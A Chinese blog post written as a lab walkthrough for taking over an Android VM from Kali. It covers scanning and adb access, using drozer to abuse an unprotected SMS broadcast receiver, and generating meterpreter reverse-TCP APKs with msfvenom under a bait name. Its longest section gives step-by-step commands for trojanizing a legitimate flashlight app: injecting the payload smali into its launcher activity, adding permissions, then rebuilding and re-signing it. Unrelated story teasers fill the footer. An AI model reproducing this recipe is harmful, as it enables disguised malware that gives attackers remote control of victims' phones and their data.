Android shell 劫持实验 (Kali虚拟机, Adb, MSFvenom, Apktool, drozer)

这个实验的主要内容是通过kaliVM进行各种操作控制 Android 设备的尝试。

1.实验设置 工具下载

需要的工具和下载链接

Virtualbox,虚拟机软件,也可使用vamware等其他: https://www.virtualbox.org/wiki/Downloads
KaliVM,一个基于 Debian 的 Linux 发行版,主要用来进行安全审计,渗透测试等活动,囊括了大多数开源安全测试工具:https://images.offensive-security.com/virtual-images/kali-linux-2018.4-vbox-amd64.ova
Android x86 5.1 RC1 VM,安卓虚拟机: https://sourceforge.net/projects/osboxes/files/v/vb/1-A-d/5.1/A-rc-1.7z/download

网络设置

networksetting.png

2. 安卓设备发现和adb访问

使用Kali VM。 扫描10.0.0/*网段以查看有哪些设备,这里Android虚拟机的ip是10.0.0.4。
扫描网络命令:namp 10.0.0.*/24

nmap.png

使用adb连接到Android x86 VM。 如果未安装,使用apt-get安装。
Adb的全称为Android Debug Bridge:android调试桥梁,Android的初衷是用adb这样的一个工具来协助开发人员在开发android应用的过程中更快更好的调试apk。但也可以被用来非法访问他人的Android设备。
Adb参考链接(很烦这些转载不贴原链接的):https://blog.csdn.net/zhonglunshun/article/details/78362439

adb.png
通过adb链接到安卓虚拟机后,就可以浏览安卓的文件了

浏览所有安装包:pm list packages
卸载应用程序notepad:pm uninstall --user 0 com.example.android.notepad

还可以查看不同应用程序的sqlite数据库,这里安装了一个ES File Explorer,查看他的数据库可以看到安卓设备中的文件信息:


es1.png

使用sql查看一下不同文件的数量


es2.png

3. AndroidManifest.xml文件获取与解析

AndroidManifest.xml是Android应用程序中非常重要的一部分,所有应用程序的组件(活动,服务,内容提供者和广播接收者)都在此文件中定义。

使用Kali VM,获取Android设备的并找到YouTube应用程序的安装位置。 找到它的apk文件并在本地下载。
apk文件只是一个包含所有必要文件的存档,以便Android操作系统理解和执行应用程序。 解压缩并查看AndroidManifest.xml文件的内容。

通过adb链接我们获取了Android的shell,找到YouTube的目录,找到YouTube.apk并通过adb下载下来。
浏览YouTube目录: ls system/app/YouTube/
通过adb下载apk命令: adb pull system/app/YouTube/YouTube.apk

解压浏览apk的内容,找到AndroidManifest.xml文件
解压命令:unzip YouTube.apk

unzipapk.png

4. 修改apk包 调用短信接口

Drozer是MWR Labs开发的一款Android安全测试框架。可以用它分析app的漏洞
参考链接
安装 //www.greatytc.com/p/4ef5b26dd3fb
使用 //www.greatytc.com/p/dfa92bab3a55

我们找到一个简单的app,FourGoats,通过Drozer去分析漏洞


rundrozer.png

runCheck.png

查看broadcast receivers,发现这个接口没有权限要求

seeInfo.png

尝试调用这个接口,程序崩溃,因为我们发送给receiver的请求没有正确对应的参数


runSMS.png

通过jadx查看FourGoats的源代码,我们找到了正确的参数,添加参数,重新调用命令。


javacode.png

命令: run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber "1234567" --extra string message "test message"
成功发送短信

success.png

5. 构建恶意app获取shell链接

英文的参考链接:Lab: Hacking an Android Device with MSFvenom

1.使用msfconsole监听端口

Msfconsole提供了一个一体化的集中控制台。通过msfconsole,你可以访问和使用所有的metasploit的插件,payload,利用模块,post模块等等。参考链接 https://blog.csdn.net/whatday/article/details/82913621

启动msfconsole:msfconsole -qx “use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set ExitOnSession false; exploit –j –z”
也可以分开输入:

msfconsole -q
set payload android/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set ExitOnSession false
run

打开监听


start.png

2.使用msfvenom生成恶意payload

MSFvenom是Msfpayload和Msfencode的组合,可以傻瓜式地生成各种后门程序(或一部分恶意代码payload)
参考链接 https://www.offensive-security.com/metasploit-unleashed/msfvenom/

打开新的终端窗口中,我们将使用msfvenom生成一个简单的apk文件。 使用相同的(“android / meterpreter / reverse tcp”)以连接到正在侦听端口4444的Kali VM。将此应用命名为FunnyCatClips.apk。
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o FunnyCatClips.apk
使用adb,在Android VM上安装此应用程序并将其打开。
adb install FunnyCatClips.apk

生成恶意apk
命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o FunnyCatClips.apk

使用adb安装在安卓设备上
命令:adb install FunnyCatClips.apk

在安卓设备上打开这个安卓的apk,我们监听的msfconsole控制台就能够链接到安卓设备的shell。

app在Android 上打开后,kali的控制台获得安卓设备的shell


![start.png](https://upload-images.jianshu.io/upload_images/1819486-b3915b3504027d15.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

3. 给正常app加入恶意payload

但是用户不会傻到安装一个如此可疑的app,所以我们需要找到一个正常的apk,将我们的恶意payload添加进去。
Msfvenom可以将Meterpreter的payload与另一个APK文件绑定,就可以在正常apk中加入payload。

这里有两种方法:

方法一:
msfvenom直接给apk加入payload
命令:msfvenom -x xxxx.apk -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o output.apk

方法二:
将正常的app反编译后加入payload的smali文件,重新编译并签名。

我们找到一个简单的app,手电筒flashlight,尝试将payload加入其中,并重新打包签名

1. 使用msfvenom生成payload : output.apk

命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o output.apk

2. 使用apktool工具(kali自带,如果没有,需要安装)将output.apk和flashlight.apk反编译

apktool反编译命令:apktool d –f –o flash com.fulminesoftware.flashlightlite.apk
kali上的apktool有些问题,这里我使用了mac上的apktool

apktool

3. 复制生成的payload中的com/metasploit/stage到反编译后的flashlight文件夹

output.apk的smali文件


stage.png

复制到flash反编译后的对应位置


stage2.png
4. 打开AndroidManifest.xml文件,通过MAIN 和 LAUNCHER找到程序运行的启动文件
A.png

可以看到启动文件是FlashlightLite1280ActivityWelcom.
修改smali文件FlashlightLite1280ActivityWelcom
在此smali文件中在→onCreate(Landroid/os/Bundle;)V这行下面
加入如下代码,大概的意思是会在启动时运行我们复制进去的payload
invoke-static {p0},Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

FlashlightLite1280ActivityWelcom.smali文件:


smali.png
5 .修改 AndroidManifest.xml 中的权限

我们可能使用app原本没有要求的权限,根据需要进行添加


AM.png
6 .编译修改好的apk

命令: apktool b -f flash

com.png

将编译好的包复制到kaliVM进行下一步签名操作

7 .签名并安装apk

创建keystore秘钥对
命令: keytool –genkey –v –keystore newkeys -alias mykey -keyalg RSA -validity 1000

gk.png

使用jarsigner签名apk
命令: jarsigner -verbose -keystore newkey/mykey.keystore -signedjar xxx.apk mac\ apk com.ff.apk whkey

s.png
8. 使用adb安装签名好的apk,测试结果

打开Android设备上的flashlight


open.png

msfconsole监听端口成功获得了shell连接
输入pwd看看当前路径


end.png

总结

基本是按部就班的操作,但整个过程涉及的工具比较多,会有一些细节上的问题,静心思考,一步步解决即可。

对于Android用户,不要轻易下载来历不明的apk进行安装即可。
不过这个还是有难度,难免会去下载。
任何一个app得到权限就可以访问整个手机的数据,相比iOS的沙盒模式,确实没有那么安全。

哦还有,Don't be evil. 虽然Google已经摒弃这个。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,968评论 6 482
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,601评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 153,220评论 0 344
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,416评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,425评论 5 374
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,144评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,432评论 3 401
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,088评论 0 261
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,586评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,028评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,137评论 1 334
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,783评论 4 324
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,343评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,333评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,559评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,595评论 2 355
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,901评论 2 345

推荐阅读更多精彩内容